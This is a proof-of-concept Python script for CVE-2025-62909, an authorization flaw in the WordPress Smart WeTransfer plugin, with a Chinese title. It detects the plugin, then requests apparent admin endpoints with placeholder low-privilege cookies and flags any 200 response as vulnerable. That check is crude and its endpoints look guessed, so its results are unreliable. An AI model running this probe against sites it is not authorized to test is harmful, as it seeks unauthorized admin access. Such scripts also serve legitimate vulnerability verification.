CVE-2025-62909 WordPress Smart WeTransfer插件授权缺失漏洞

import requests # CVE-2025-62909 PoC - Smart WeTransfer Broken Access Control # Target: WordPress site with Smart WeTransfer plugin <= 1.3 target_url = "http://target-wordpress-site.com" # PoC 1: Check if the plugin is installed and identify version def check_plugin(): endpoints = [ f"{target_url}/wp-content/plugins/smart-wetransfer/readme.txt", f"{target_url}/wp-json/wp/v2/plugins?search=smart-wetransfer" ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: print(f"[+] Plugin detected at: {endpoint}") return True except: pass return False # PoC 2: Test unauthorized access to admin functions def test_unauthorized_access(): # Low-privilege user session (subscriber role) low_priv_cookies = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_xxx": "low_priv_user_token" } # Sensitive endpoints that should require admin privileges sensitive_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php?action=smart_wetransfer_admin_action", f"{target_url}/wp-json/smart-wetransfer/v1/settings", f"{target_url}/wp-admin/admin.php?page=smart-wetransfer" ] results = [] for endpoint in sensitive_endpoints: try: response = requests.get(endpoint, cookies=low_priv_cookies, timeout=10) # If we get a 200 response instead of 401/403, vulnerability exists if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} - Unauthorized access possible") results.append({"endpoint": endpoint, "vulnerable": True}) else: print(f"[-] Protected: {endpoint} - Status: {response.status_code}") results.append({"endpoint": endpoint, "vulnerable": False}) except Exception as e: print(f"[!] Error testing {endpoint}: {str(e)}") return results if __name__ == "__main__": print("CVE-2025-62909 Smart WeTransfer Authorization Bypass PoC") print("=" * 60) check_plugin() test_unauthorized_access()